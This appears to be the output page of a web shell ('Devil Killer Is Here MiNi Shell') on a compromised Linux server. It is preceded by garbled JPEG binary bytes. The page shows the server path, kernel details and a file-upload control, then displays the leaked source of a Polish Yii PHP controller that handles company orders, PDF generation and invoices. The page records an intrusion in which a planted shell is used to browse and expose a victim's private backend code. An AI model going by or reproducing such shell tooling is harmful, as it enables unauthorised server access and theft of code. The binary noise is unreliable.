JFIF ( %!1!%)+...383-7(-.+  -% &5/------------------------------------------------";!1AQ"aq2#3BRrb*!1"AQa2q#B ?yRd&vGlJwZvK)YrxB#j]ZAT^dpt{[wkWSԋ*QayBbm*&0<|0pfŷM`̬ ^.qR𽬷^EYTFíw<-.j)M-/s yqT'&FKz-([lև<G$wm2*e Z(Y-FVen櫧lҠDwүH4FX1 VsIOqSBۡNzJKzJξcX%vZcFSuMٖ%B ִ##\[%yYꉅ !VĂ1َRI-NsZJLTAPמQ:y״g_g= m֯Ye+Hyje!EcݸࢮSo{׬*h g<@KI$W+W'_> lUs1,o*ʺE.U"N&CTu7_0VyH,q ,)H㲣5<t ;rhnz%ݓz+4 i۸)P6+F>0Tв`&i}Shn?ik܀՟ȧ@mUSLFηh_er i_qt]MYhq 9LaJpPןߘvꀡ\"z[VƬ¤*aZMo=WkpSp \QhMb˒YH=ܒ m`CJt 8oFp]>pP1F>n8(*aڈ.Y݉[iTع JM!x]ԶaJSWҼܩ`yQ`*kE#nNkZKwA_7~ ΁JЍ;-2qRxYk=Uր>Z qThv@.w c{#&@#l;D$kGGvz/7[P+i3nIl`nrbmQi%}rAVPT*SF`{'6RX46PԮp(3W҅U\a*77lq^rT$vs2MU %*ŧ+\uQXVH !4t*Hg"Z챮 JX+RVU+ތ]PiJT XI= iPO=Ia3[ uؙ&2Z@.*SZ (")s8Y/-Fh Oc=@HRlPYp!wr?-dugNLpB1yWHyoP\ѕрiHִ,ِ0aUL.Yy`LSۜ,HZz!JQiVMb{( tژ <)^Qi_`: }8ٱ9_.)a[kSr> ;wWU#M^#ivT܎liH1Qm`cU+!2ɒIX%ֳNړ;ZI$?b$(9f2ZKe㼭qU8I[ U)9!mh1^N0 f_;׆2HFF'4b! yBGH_jтp'?uibQ T#ѬSX5gޒSF64ScjwU`xI]sAM( 5ATH_+s 0^IB++h@_Yjsp0{U@G -:*} TނMH*֔2Q:o@ w5(߰ua+a ~w[3W(дPYrF1E)3XTmIFqT~z*Is*清Wɴa0Qj%{T.ޅ״cz6u6݁h;֦ 8d97ݴ+ޕxзsȁ&LIJT)R0}f }PJdp`_p)əg(ŕtZ 'ϸqU74iZ{=Mhd$L|*UUn &ͶpHYJۋj /@9X?NlܾHYxnuXږAƞ8j ໲݀pQ4;*3iMlZ6w ȵP Shr!ݔDT7/ҡϲigD>jKAX3jv+ ߧز #_=zTm¦>}Tց<|ag{E*ֳ%5zW.Hh~a%j"e4i=vױi8RzM75i֟fEu64\էeo00d H韧rȪz2eulH$tQ>eO$@B /?=#٤ǕPS/·.iP28s4vOuz3zT& >Z2[0+[#Fޑ]!((!>s`rje('|,),y@\pЖE??u˹yWV%8mJ iw:u=-2dTSuGL+m<*צ1as&5su\phƃ qYLֳ>Y(PKi;Uڕp ..!i,54$IUEGLXrUE6m UJC?%4AT]I]F>׹P9+ee"Aid!Wk|tDv/ODc/,o]i"HIHQ_n spv"b}}&I:pȟU-_)Ux$l:fژɕ(I,oxin8*G>ÌKG}Rڀ8Frajٷh !*za]lx%EVRGYZoWѮ昀BXr{[d,t Eq ]lj+ N})0B,e iqT{z+O B2eB89Cڃ9YkZySi@/(W)d^Ufji0cH!hm-wB7C۔֛X$Zo)EF3VZqm)!wUxM49< 3Y .qDfzm |&T"} {*ih&266U9* <_# 7Meiu^h--ZtLSb)DVZH*#5UiVP+aSRIª!p挤c5g#zt@ypH={ {#0d N)qWT kA<Ÿ)/RT8D14y b2^OW,&Bcc[iViVdִCJ'hRh( 1K4#V`pِTw<1{)XPr9Rc 4)Srgto\Yτ~ xd"jO:A!7􋈒+E0%{M'T^`r=E*L7Q]A{]A<5ˋ.}<9_K (QL9FЍsĮC9!rpi T0q!H \@ܩB>F6 4ۺ6΋04ϲ^#>/@tyB]*ĸp6&<џDP9ᗟatM'> b쪗wI!܁V^tN!6=FD܆9*? q6h8  {%WoHoN.l^}"1+uJ ;r& / IɓKH*ǹP-J3+9 25w5IdcWg0n}U@2 #0iv腳z/^ƃOR}IvV2j(tB1){S"B\ ih.IXbƶ:GnI F.^a?>~!k''T[ע93fHlNDH;;sg-@, JOs~Ss^H '"#t=^@'W~Ap'oTڭ{Fن̴1#'c>꜡?F颅B L,2~ת-s2`aHQm:F^j&~*Nūv+{sk$F~ؒ'#kNsٗ D9PqhhkctԷFIo4M=SgIu`F=#}Zi'cu!}+CZI7NuŤIe1XT xC۷hcc7 l?ziY䠩7:E>k0Vxypm?kKNGCΒœap{=i1<6=IOV#WY=SXCޢfxl4[Qe1 hX+^I< tzǟ;jA%n=q@j'JT|na$~BU9؂dzu)m%glwnXL`޹W`AH̸뢙gEu[,'%1pf?tJ Ζmc[\ZyJvn$Hl'<+5[b]v efsЁ ^. &2 yO/8+$ x+zs˧Cޘ'^e fA+ڭsOnĜz,FU%HU&h fGRN擥{N$k}92k`Gn8<ʮsdH01>b{ {+ [k_F@KpkqV~sdy%ϦwK`D!N}N#)x9nw@7y4*\ Η$sR\xts30`O<0m~%U˓5_m ôªs::kB֫.tpv쌷\R)3Vq>ٝj'r-(du @9s5`;iaqoErY${i .Z(Џs^!yCϾ˓JoKbQU{௫e.-r|XWլYkZe0AGluIɦvd7 q -jEfۭt4q +]td_+%A"zM2xlqnVdfU^QaDI?+Vi\ϙLG9r>Y {eHUqp )=sYkt,s1!r,l鄛u#I$-֐2A=A\J]&gXƛ<ns_Q(8˗#)4qY~$'3"'UYcIv s.KO!{, ($LI rDuL_߰ Ci't{2L;\ߵ7@HK.Z)4
Devil Killer Is Here MiNi Shell

MiNi SheLL

Current Path : /home/vmanager/www/backend/controllers/

Linux 9dbcd5f6333d 5.15.0-102-generic #112-Ubuntu SMP Tue Mar 5 16:50:32 UTC 2024 x86_64
Upload File :
Current File : /home/vmanager/www/backend/controllers/CompaniesordersController.php

<?php

namespace backend\controllers;

use Yii;
use common\models\Companies;
use common\models\CompaniesEmployees;
use backend\models\CompaniesOrders;
use backend\models\CompaniesOrdersItems;
use common\models\Services;
use common\models\ServicesHasPortals;
use common\models\ServicesTypes;
use common\models\Invoices;
use backend\models\CompaniesOrdersSearch;
use backend\models\CompaniesOrdersArchiveSearch;
use common\models\types\ContactDataType;
use common\models\types\InvoiceGroupItemsType;
use common\models\types\InvoiceStatus;
use yii\web\Controller;
use yii\web\NotFoundHttpException;
use yii\web\ForbiddenHttpException;

/**
 * CompaniesordersController implements the CRUD actions for CompaniesOrders model.
 */
class CompaniesordersController extends Controller
{
    use \backend\components\traits\ControllerFunctions;

    /**
     * Lists all CompaniesOrders models.
     * @param integer $id
     * @return mixed
     */
    public function actionIndex($id)
    {
        $modelCompany = $this->findModelCompany($id);
        
        $searchModel = new CompaniesOrdersSearch();
        $queryParams = Yii::$app->request->queryParams;
        $queryParams['CompaniesOrdersSearch']['id_company'] = $modelCompany->id_company;        
        
        if(Yii::$app->user->can('indexCompaniesOrders')) {
            
        } elseif(Yii::$app->user->can('indexAssignedCompaniesOrders')) {
            $queryParams['CompaniesOrdersSearch']['id_user'] = Yii::$app->user->id;           
        } 
//        elseif(Yii::$app->user->can('indexOwnCompaniesOrders') && Yii::$app->user->can('viewOwnCompaniesData', ['model' => $modelCompany])) {
//            
//        } 
        else {
            throw new ForbiddenHttpException(Yii::t('yii', 'You are not allowed to perform this action.'));
        }
        
        $dataProvider = $searchModel->search($queryParams);

        return $this->render('index', [
            'searchModel' => $searchModel,
            'dataProvider' => $dataProvider,
            'modelCompany' => $modelCompany,
        ]);
    }
    
    public function actionIndexArchive($id)
    {
        $modelCompany = $this->findModelCompany($id);
        
        $searchModel = new CompaniesOrdersArchiveSearch();
        $queryParams = Yii::$app->request->queryParams;
        $queryParams['CompaniesOrdersArchiveSearch']['id_company'] = $modelCompany->id_company;        
        
        if(Yii::$app->user->can('indexCompaniesOrders')) {
            
        } elseif(Yii::$app->user->can('indexAssignedCompaniesOrders')) {
            $queryParams['CompaniesOrdersSearch']['id_operator'] = Yii::$app->user->id;           
        } 
//        elseif(Yii::$app->user->can('indexOwnCompaniesOrders') && Yii::$app->user->can('viewOwnCompaniesData', ['model' => $modelCompany])) {
//            
//        } 
        else {
            throw new ForbiddenHttpException(Yii::t('yii', 'You are not allowed to perform this action.'));
        }
        
        $dataProvider = $searchModel->search($queryParams);

        return $this->render('index_archive', [
            'searchModel' => $searchModel,
            'dataProvider' => $dataProvider,
            'modelCompany' => $modelCompany,
        ]);
    }
    
    public function actionIndexAll($id)
    {
        $modelCompany = $this->findModelCompany($id);
        
        $searchModel = new CompaniesOrdersSearch();
        $queryParams = Yii::$app->request->queryParams;
        $queryParams['CompaniesOrdersSearch']['orWithItems'] = true;    
        $queryParams['CompaniesOrdersSearch']['id_company'] = $modelCompany->id_company;  
        
        if(!Yii::$app->user->can('indexCompaniesOrders') && !Yii::$app->user->can('indexAssignedCompaniesOrders')) {
            throw new ForbiddenHttpException(Yii::t('yii', 'You are not allowed to perform this action.'));
        } 
        
        $dataProvider = $searchModel->search($queryParams);

        return $this->render('index_all', [
            'searchModel' => $searchModel,
            'dataProvider' => $dataProvider,
            'modelCompany' => $modelCompany,
        ]);
    }
    
    public function actionShow($id)
    {        
        $this->layout = false;
        
        $modelOrder = $this->findModel($id);
        
        if(!Yii::$app->user->can('getCompaniesOrders', ['model' => $modelOrder])) {
            throw new ForbiddenHttpException(Yii::t('yii', 'You are not allowed to perform this action.'));
        }
        
        return $this->render('show_order', [
            'model' => $modelOrder,
            'preview' => true,
        ]);
    }
    
    public function actionShowArchive($id)
    {        
        $this->layout = false;
        
        $modelOrder = \common\models\CompaniesOrdersArchive::findOne(intval($id));        
        if ($modelOrder === null) {
            throw new NotFoundHttpException('The requested page does not exist.');
        }         
        
        if(!Yii::$app->user->can('getCompaniesArchiveOrders')) {
            throw new ForbiddenHttpException(Yii::t('yii', 'You are not allowed to perform this action.'));
        }
        
        return $this->render('show_order_archive', [
            'model' => $modelOrder,
            'preview' => true,
        ]);
    }
    
    public function actionGet($id)
    {
        $session = Yii::$app->session; 
        $this->layout = false;
        
        $modelOrder = $this->findModel($id);        
        
        if(!Yii::$app->user->can('getCompaniesOrders', ['model' => $modelOrder])) {
            throw new ForbiddenHttpException(Yii::t('yii', 'You are not allowed to perform this action.'));
        }
        
        $tempFilePath = Yii::getAlias('@runtime')."/temp/zam_".$modelOrder->id_order.".html";
        $targetFilePath = Yii::getAlias('@runtime')."/temp/zam_".$modelOrder->id_order.".pdf";
        $opts = ['http' => ['header'=> 'Cookie: ' . $_SERVER['HTTP_COOKIE']."\r\n"]];
        $context = stream_context_create($opts);
        $session->close();
        $contents = file_get_contents(Yii::$app->urlManager->createAbsoluteUrl(['companiesorders/show', 'id' => $modelOrder->id_order]), false, $context);
        $session->open();
        file_put_contents($tempFilePath, $contents);
        
        $output = \common\components\helpers\Wkhtmltopdf::save('file:///'.$tempFilePath, $targetFilePath, '-T 0 -B 0 -L 0 -R 0');    
        if($output['return'] !== 0) {
            @unlink($tempFilePath);
            @unlink($targetFilePath);
            $session->addFlash('error', Yii::t('backend', 'Wystąpił błąd podczas generowania pliku PDF.'));
            return $this->redirect(Yii::$app->request->getReferrer() ? Yii::$app->request->getReferrer() : ['companiesorders/view', 'id' => $modelOrder->id_order]);          
        } 
        
        $response = Yii::$app->getResponse();
        $response->setDownloadHeaders(basename($targetFilePath), 'application/pdf');
        $response->sendFile($targetFilePath);
        $response->send();
        
        @unlink($tempFilePath);
        @unlink($targetFilePath);
    }
    
    public function actionGetArchive($id)
    {
        $session = Yii::$app->session; 
        $this->layout = false;
        
        $modelOrder = \common\models\CompaniesOrdersArchive::findOne(intval($id));        
        if ($modelOrder === null) {
            throw new NotFoundHttpException('The requested page does not exist.');
        }
        
        if(!Yii::$app->user->can('getCompaniesArchiveOrders')) {
            throw new ForbiddenHttpException(Yii::t('yii', 'You are not allowed to perform this action.'));
        }
        
        $tempFilePath = Yii::getAlias('@runtime')."/temp/zam_".$modelOrder->_id.".html";
        $targetFilePath = Yii::getAlias('@runtime')."/temp/zam_".$modelOrder->_id.".pdf";
        $opts = ['http' => ['header'=> 'Cookie: ' . $_SERVER['HTTP_COOKIE']."\r\n"]];
        $context = stream_context_create($opts);
        $session->close();
        $contents = file_get_contents(Yii::$app->urlManager->createAbsoluteUrl(['companiesorders/show-archive', 'id' => $modelOrder->_id]), false, $context);
        $session->open();
        file_put_contents($tempFilePath, $contents);
        
        $output = \common\components\helpers\Wkhtmltopdf::save('file:///'.$tempFilePath, $targetFilePath, '-T 0 -B 0 -L 0 -R 0');    
        if($output['return'] !== 0) {
            @unlink($tempFilePath);
            @unlink($targetFilePath);
            $session->addFlash('error', Yii::t('backend', 'Wystąpił błąd podczas generowania pliku PDF.'));
            return $this->redirect(Yii::$app->request->getReferrer() ? Yii::$app->request->getReferrer() : ['companiesorders/index-archive', 'id' => $modelOrder->id_company]);          
        } 
        
        $response = Yii::$app->getResponse();
        $response->setDownloadHeaders(basename($targetFilePath), 'application/pdf');
        $response->sendFile($targetFilePath);
        $response->send();
        
        @unlink($tempFilePath);
        @unlink($targetFilePath);
    }
    
    /**
     * Displays a single CompaniesOrders model.
     * @param integer $id
     * @return mixed
     */
    public function actionView($id)
    {
        $model = $this->findModel($id);
        
        if(!Yii::$app->user->can('viewCompaniesOrders', ['model' => $model])) {
            throw new ForbiddenHttpException(Yii::t('yii', 'You are not allowed to perform this action.'));
        }
        
        $dataProviderItems = new \yii\data\ActiveDataProvider([
            'query' => $model->getItems()->with('user')->orderBy('id_item'),
            'pagination' => false,
            'sort' => false
        ]);
        
        return $this->render('view', [
            'model' => $model,
            'dataProviderItems' => $dataProviderItems
        ]);
    }
    
    public function actionViewArchive($id)
    {
        $model = \common\models\CompaniesOrdersArchive::findOne(intval($id));    
        if ($model === null) {
            throw new NotFoundHttpException('The requested page does not exist.');
        }
        
        $modelCompany = $this->findModelCompany($model->id_company);
        
        if(!Yii::$app->user->can('viewCompaniesArchiveOrders')) {
            throw new ForbiddenHttpException(Yii::t('yii', 'You are not allowed to perform this action.'));
        }
        
        return $this->render('view_archive', [
            'model' => $model,
            'modelCompany' => $modelCompany
        ]);
    }
    
    protected function getModelOrderWithDefaultValues($modelCompany)
    {
        $modelsCompanyInvoicingData = $modelCompany->getInvoicingData()->orderBy('or_main DESC, id_invoicing_data')->all();
        $modelsCompanyEmployees = $modelCompany->employees;
        
        $model = new CompaniesOrders(['scenario' => 'create']);
        $model->id_company = $modelCompany->id_company;
        $model->order_date = date('Y-m-d');
        $model->id_user = Yii::$app->user->getId();       
        $model->amount_net_total = 0.00;
        $model->amount_net_discount = 0.00;
        $model->amount_net_to_pay = 0.00;
        $model->payment_term = '7 dni od daty sprzedaży na podstawie faktury proforma';
        $model->or_proforma_invoice = 1;
        
        if(!empty($modelsCompanyEmployees)) {
            $model->purchaser_forename = $modelsCompanyEmployees[0]->forename;
            $model->purchaser_surname = $modelsCompanyEmployees[0]->surname;
            $purchaserEmail = $purchaserPhone = null;
            $modelsCompanyEmployeeContactData = $modelsCompanyEmployees[0]->getContactData()->where(['data_type' => [ContactDataType::EMAIL, ContactDataType::MOBILE_PHONE, ContactDataType::PHONE]])->orderBy('data_type ASC, data_order ASC')->all();
            if(!empty($modelsCompanyEmployeeContactData)) {
                foreach($modelsCompanyEmployeeContactData as $modelCompanyEmployeeContactData) {
                    if($purchaserEmail === null && $modelCompanyEmployeeContactData->data_type === ContactDataType::EMAIL) {
                        $purchaserEmail = $modelCompanyEmployeeContactData->data_value;
                    }
                    if($purchaserPhone === null && ($modelCompanyEmployeeContactData->data_type === ContactDataType::PHONE || $modelCompanyEmployeeContactData->data_type === ContactDataType::MOBILE_PHONE)) {
                        $purchaserPhone = $modelCompanyEmployeeContactData->data_value;
                    }
                    if($purchaserEmail !== null && $purchaserPhone !== null) {
                        break;
                    }
                }
            }
            $model->purchaser_email = $purchaserEmail;
            $model->purchaser_phone = $purchaserPhone;
            if(!empty($modelsCompanyEmployees[0]->position)) {
                $model->purchaser_position = $modelsCompanyEmployees[0]->position;
            }
        }
        else {
            $model->purchaser_forename = $modelCompany->user->forename;
            $model->purchaser_surname = $modelCompany->user->surname;            
            $model->purchaser_email = $modelCompany->user->getContactData()->select('data_value')->where(['required' => 1, 'data_type' => ContactDataType::EMAIL])->scalar();
        }
        
        
        if(!empty($modelsCompanyInvoicingData)) {
            $model->purchaser_name = $modelsCompanyInvoicingData[0]->name;
            $model->purchaser_street = $modelsCompanyInvoicingData[0]->street;
            $model->purchaser_building_number = $modelsCompanyInvoicingData[0]->building_number;
            if(!empty($modelsCompanyInvoicingData[0]->apartment_number)) {
                $model->purchaser_apartment_number = $modelsCompanyInvoicingData[0]->apartment_number;
            }
            if(!empty($modelsCompanyInvoicingData[0]->address_cont)) {
                $model->purchaser_address_cont = $modelsCompanyInvoicingData[0]->address_cont;
            }
            $model->purchaser_postcode = $modelsCompanyInvoicingData[0]->postcode;
            $model->purchaser_locality = $modelsCompanyInvoicingData[0]->locality;
            $model->purchaser_id_country = $modelsCompanyInvoicingData[0]->id_country;
            $model->purchaser_tax_id = $modelsCompanyInvoicingData[0]->tax_id;
            $model->currency = $modelsCompanyInvoicingData[0]->currency;
        }
        
        $model->recipient_forename = Yii::$app->user->identity->forename;
        $model->recipient_surname = Yii::$app->user->identity->surname;
        $model->recipient_email = Yii::$app->user->identity->getContactData()->select('data_value')->where(['required' => 1, 'data_type' => ContactDataType::EMAIL])->scalar();
        $model->recipient_name = Yii::$app->params['invoicingData']['name'];
        $model->recipient_street = Yii::$app->params['invoicingData']['street'];
        $model->recipient_building_number = Yii::$app->params['invoicingData']['buildingNumber'];
        if(!empty(Yii::$app->params['invoicingData']['apartmentNumber'])) {
            $model->recipient_apartment_number = Yii::$app->params['invoicingData']['apartmentNumber'];
        }
        if(!empty(Yii::$app->params['invoicingData']['addressCont'])) {
            $model->recipient_address_cont = Yii::$app->params['invoicingData']['addressCont'];
        }
        $model->recipient_postcode = Yii::$app->params['invoicingData']['postcode'];
        $model->recipient_locality = Yii::$app->params['invoicingData']['locality'];
        $model->recipient_id_country = Yii::$app->params['invoicingData']['idCountry'];
        $model->recipient_tax_id = Yii::$app->params['invoicingData']['taxId'];
        
        return $model;
    }
    
    protected function generateInvoice($modelOrder)
    {       
        $modelInvoice = $modelOrder->invoice;
        
        if($modelInvoice) {
            $modelInvoice->setScenario('updateFull');
            $isNewInvoice = false;
        } else {
            $modelInvoice = new Invoices(['scenario' => 'createFull']);
            $isNewInvoice = true;
        }
        
        if($modelOrder->or_proforma_invoice && $isNewInvoice) {
            $nextIdInvoice = Yii::$app->db->createCommand("SELECT nextval(pg_get_serial_sequence('invoices','id_invoice'))")->queryOne();
            if(!empty($nextIdInvoice)) {
                $modelInvoice->id_invoice = intval($nextIdInvoice['nextval']);
                $modelInvoice->proforma_invoice_number = $modelOrder->id_company.'/'.$modelInvoice->id_invoice.'/'.date("Y", strtotime($modelOrder->order_date));
            }        
        }
        $modelInvoice->id_company = $modelOrder->id_company;
        $modelInvoice->invoice_type = $modelOrder->invoice_type;
        $modelInvoice->invoice_date = $modelOrder->order_date;
        $modelInvoice->sale_date = $modelOrder->order_date;
        $modelInvoice->payment_date = date("Y-m-d", strtotime($modelOrder->order_date.' +7 days'));
        $modelInvoice->payment_type = $modelOrder->payment_type;
        $modelInvoice->amount_net = 0.00;
        $modelInvoice->amount_gross = 0.00;
        $modelInvoice->currency = $modelOrder->currency;
        $modelInvoice->purchaser_name = $modelOrder->purchaser_name;
        $modelInvoice->purchaser_street = $modelOrder->purchaser_street;
        $modelInvoice->purchaser_address_cont = $modelOrder->purchaser_address_cont;
        $modelInvoice->purchaser_building_number = $modelOrder->purchaser_building_number;
        $modelInvoice->purchaser_apartment_number = $modelOrder->purchaser_apartment_number;
        $modelInvoice->purchaser_postcode = $modelOrder->purchaser_postcode;
        $modelInvoice->purchaser_locality = $modelOrder->purchaser_locality;
        $modelInvoice->purchaser_id_country = $modelOrder->purchaser_id_country;
        $modelInvoice->purchaser_tax_id = $modelOrder->purchaser_tax_id;
        $modelInvoice->recipient_name = $modelOrder->recipient_name;
        $modelInvoice->recipient_street = $modelOrder->recipient_street;
        $modelInvoice->recipient_address_cont = $modelOrder->recipient_address_cont;
        $modelInvoice->recipient_building_number = $modelOrder->recipient_building_number;
        $modelInvoice->recipient_apartment_number = $modelOrder->recipient_apartment_number;
        $modelInvoice->recipient_postcode = $modelOrder->recipient_postcode;
        $modelInvoice->recipient_locality = $modelOrder->recipient_locality;
        $modelInvoice->recipient_id_country = $modelOrder->recipient_id_country;
        $modelInvoice->recipient_tax_id = $modelOrder->recipient_tax_id;
        
        $commodityServices = \common\models\Services::find()
                ->select(['services.id_service'])
                ->join('INNER JOIN', 'services_types', 'services_types.id_type = services.id_type')
                ->where([
                    'services_types.or_commodity' => 1
                ])
                ->column();
        
        $modelOrderItems = $modelOrder->getItems()->orderBy('id_item ASC')->all();
        if(empty($modelOrderItems)) {
            return null;
        }
        
        $invoiceItems = [];
        switch($modelOrder->invoice_group_items_type) {
            case InvoiceGroupItemsType::GROUP_BY_SERVICE:
                foreach($modelOrderItems as $modelOrderItem) {
                    $hash = $modelOrderItem->id_service.'-'.$modelOrderItem->price_net_in_pricelist;
                    if(!isset($invoiceItems[$hash])) {
                        $invoiceItems[$hash] = [
                            'name' => $modelOrderItem->name,
                            'id_service' => $modelOrderItem->id_service,
                            'or_commodity' => in_array($modelOrderItem->id_service, $commodityServices) ? 1 : 0,
                            'price' => $modelOrderItem->price_net_in_pricelist,
                            'quantity' => 1,                    
                            'amount_net_without_discount' => $modelOrderItem->price_net_in_pricelist,
                            'amount_net_with_discount' => $modelOrderItem->price_net                            
                        ];
                    } else {
                        $invoiceItems[$hash]['quantity'] += 1;
                        $invoiceItems[$hash]['amount_net_without_discount'] += $modelOrderItem->price_net_in_pricelist;
                        $invoiceItems[$hash]['amount_net_with_discount'] += $modelOrderItem->price_net;
                    }
                }
                break;
            case InvoiceGroupItemsType::NONE:
                foreach($modelOrderItems as $modelOrderItem) {
                    $invoiceItems[] = [
                        'name' => $modelOrderItem->name,
                        'id_service' => $modelOrderItem->id_service,
                        'or_commodity' => in_array($modelOrderItem->id_service, $commodityServices) ? 1 : 0,
                        'price' => $modelOrderItem->price_net_in_pricelist,
                        'quantity' => 1,                    
                        'amount_net_without_discount' => $modelOrderItem->price_net_in_pricelist,
                        'amount_net_with_discount' => $modelOrderItem->price_net                        
                    ];
                }
                break;
            case InvoiceGroupItemsType::ALL_IN_ONE:                
                $amountNetWithoutDiscount = $amountNetWithDiscount = 0;
                foreach($modelOrderItems as $modelOrderItem) {
                    $amountNetWithoutDiscount += $modelOrderItem->price_net_in_pricelist;
                    $amountNetWithDiscount += $modelOrderItem->price_net;
                }
                $invoiceItems[] = [
                    'name' => Yii::t('backend', 'Usługi zgodnie z zamówieniem nr: {idOrder}', ['idOrder' => $modelOrder->id_order]),
                    'id_service' => null,
                    'or_commodity' => 0,
                    'price' => $amountNetWithoutDiscount,
                    'quantity' => 1,                    
                    'amount_net_without_discount' => $amountNetWithoutDiscount,
                    'amount_net_with_discount' => $amountNetWithDiscount                    
                ];                
                break;
        }
        
        $transaction = Yii::$app->db->beginTransaction();
        
        $flag = $modelInvoice->save();
        
        if($flag && !$isNewInvoice) {
            //@todo poniższe generuje problem, gdy wcześniej zgrupowaliśmy elementy all-in-one
//            $modelsInvoicesItems = $modelInvoice->getItems()->where(['not', ['id_service' => null]])->all();
            $modelsInvoicesItems = $modelInvoice->getItems()->all();
            if(!empty($modelsInvoicesItems)) {
                foreach($modelsInvoicesItems as $modelInvoiceItem) {
                    if($modelInvoiceItem->delete() === false) {
                        $flag = false;
                        break;
                    }
                }
            }
        }
        
        $amountNetFromItems = $amountGrossFromItems = 0.00;
        if($flag && !empty($invoiceItems)) {
            foreach($invoiceItems as $invoiceItem) {
                $discount = (1 - ($invoiceItem['amount_net_with_discount'] / $invoiceItem['amount_net_without_discount'])) * 100;
                $discount = number_format(round($discount, 2), 2);

                $modelInvoiceItem = new \common\models\InvoicesItems(['scenario' => 'create']);
                $modelInvoiceItem->id_invoice = $modelInvoice->id_invoice;
                $modelInvoiceItem->name = $invoiceItem['name'];
                $modelInvoiceItem->or_commodity = $invoiceItem['or_commodity'];
                $modelInvoiceItem->id_service = $invoiceItem['id_service'];
                $modelInvoiceItem->quantity = $invoiceItem['quantity'];
                $modelInvoiceItem->price_net_pricelist = $invoiceItem['price'];
                $modelInvoiceItem->amount_net_before_discount = $invoiceItem['amount_net_without_discount'];
                $modelInvoiceItem->discount_percent = $discount;
                $modelInvoiceItem->amount_net = $invoiceItem['amount_net_with_discount'];
                $modelInvoiceItem->tax_rate = 23.00; //@todo to powinno być zaciągane z bazy - w końcu różne usługi mogą mieć różną stawkę VAT; ewentualnie tymczasowo niech tak zostanie, ale miejmy to na uwadze...             
                $modelInvoiceItem->amount_gross = round($modelInvoiceItem->amount_net * (1 + ($modelInvoiceItem->tax_rate / 100)), 2);

                if(!$modelInvoiceItem->save()) {
                    $flag = false;
                    break;
                }
                
                $amountNetFromItems += $modelInvoiceItem->amount_net;
                $amountGrossFromItems += $modelInvoiceItem->amount_gross;
            }
        }
        
        if($flag) {
            if(!$isNewInvoice) {
                $total = Yii::$app->db->createCommand('SELECT SUM(amount_net) AS amount_net_total, SUM(amount_gross) AS amount_gross_total FROM invoices_items WHERE id_invoice = '.intval($modelInvoice->id_invoice))->queryOne();
                $modelInvoice->amount_net = $total['amount_net_total'];
                $modelInvoice->amount_gross = $total['amount_gross_total'];
            } else {
                $modelInvoice->amount_net = round($amountNetFromItems, 2);
                $modelInvoice->amount_gross = round($amountGrossFromItems, 2);
                
                $modelOrder->id_invoice = $modelInvoice->id_invoice;                
                $flag = $modelOrder->save();
            }
        } 
        
        $flag = $flag && $modelInvoice->save();
        if($flag) {
            $transaction->commit();
            return $modelInvoice;
        } else {
            $transaction->rollBack();
            return false;
        }
    }
    
    public function actionGetOrderAmounts($id)
    {
        Yii::$app->response->format = \yii\web\Response::FORMAT_JSON;
        $this->layout = false;
        
        $modelOrder = $this->findModel($id);
        
        if(!Yii::$app->user->can('updateCompaniesOrders', ['model' => $modelOrder])) {
            throw new ForbiddenHttpException(Yii::t('yii', 'You are not allowed to perform this action.'));
        }
        
        return [
            'amountNetTotal' => $modelOrder->amount_net_total,
            'amountNetDiscount' => $modelOrder->amount_net_discount,
            'amountNetToPay' => $modelOrder->amount_net_to_pay
        ];
    }

    /**
     * Creates a new CompaniesOrders model.
     * If creation is successful, the browser will be redirected to the 'view' page.
     * @param integer $id
     * @return mixed
     */
    public function actionCreate($id)
    {
        $modelCompany = $this->findModelCompany($id);
        
        if(!Yii::$app->user->can('createCompaniesOrders')) {
            throw new ForbiddenHttpException(Yii::t('yii', 'You are not allowed to perform this action.'));
        }
        
        $model = $this->getModelOrderWithDefaultValues($modelCompany);        

        if (Yii::$app->request->isAjax && !Yii::$app->request->isPjax && $model->load(Yii::$app->request->post())) {
            Yii::$app->response->format = \yii\web\Response::FORMAT_JSON;
            return \yii\bootstrap\ActiveForm::validate($model, ['id_company', 'id_user', 'order_date']);
        }
        
        if(Yii::$app->request->getIsPost()) { 
            if(!$model->load(Yii::$app->request->post())) {
                Yii::$app->session->addFlash('error', Yii::t('backend', 'Wystąpił błąd podczas przesyłania danych.'));
                return $this->conditionalRender('create', ['model' => $model, 'modelCompany' => $modelCompany]);
            }
            
            if(!$model->validate()) {
                Yii::$app->session->addFlash('error', $model->getErrors());
                return $this->conditionalRender('create', ['model' => $model, 'modelCompany' => $modelCompany]);
            }
            
            if ($model->save(false)) {
                Yii::$app->session->addFlash('confirm', Yii::t('backend', 'Poprawnie zapisano dane.')); 
                return $this->redirect(['update', 'id' => $model->id_order]);
            } else {
                Yii::$app->session->addFlash('error', Yii::t('backend', 'Błąd podczas zapisu.'));                
            }
        }
        
        return $this->render('create', [
            'modelCompany' => $modelCompany,
            'model' => $model,
        ]);
    }
    
    /**
     * Creates a new CompaniesOrders model.
     * If creation is successful, the browser will be redirected to the 'view' page.
     * @param integer $id
     * @return mixed
     */
    public function actionGenerateInvoice($id)
    {
        $modelOrder = $this->findModel($id);    
        
        if(!Yii::$app->user->can('generateInvoiceForCompaniesOrders', ['model' => $modelOrder])) {
            throw new ForbiddenHttpException(Yii::t('yii', 'You are not allowed to perform this action.'));
        }
        
        if(!empty($modelOrder->invoice->invoice_number)) {
            Yii::$app->session->addFlash('warning', Yii::t('backend', 'Nie można wygenerować nowej faktury - faktura dla tego zamówienia została już zaksięgowana.'));
        }
        
        $modelInvoice = $this->generateInvoice($modelOrder);
        
        if($modelInvoice) {
            Yii::$app->session->addFlash('confirm', Yii::t('backend', 'Poprawnie zapisano dane.')); 
        } elseif($modelInvoice === false) {
            Yii::$app->session->addFlash('error', Yii::t('backend', 'Błąd podczas zapisu.'));
        } elseif($modelInvoice === null) {
            Yii::$app->session->addFlash('warning', Yii::t('backend', 'Brak danych niezbędnych do wykonania akcji.'));
        }
        
        return $this->redirect(['view', 'id' => $modelOrder->id_order]);
    }

    /**
     * Updates an existing CompaniesOrders model.
     * If update is successful, the browser will be redirected to the 'view' page.
     * @param integer $id
     * @return mixed
     */
    public function actionUpdate($id)
    {
        $model = $this->findModel($id);
        $model->setScenario('update');
        
        if(!Yii::$app->user->can('updateCompaniesOrders', ['model' => $model])) {
            throw new ForbiddenHttpException(Yii::t('yii', 'You are not allowed to perform this action.'));
        }
        
        $dataProviderOrderItems = new \yii\data\ActiveDataProvider([
            'query' => $model->getItems()->with('service', 'user', 'operatorsSection')->orderBy('id_item ASC'),
            'pagination' => false,
            'sort' => false
        ]);
        
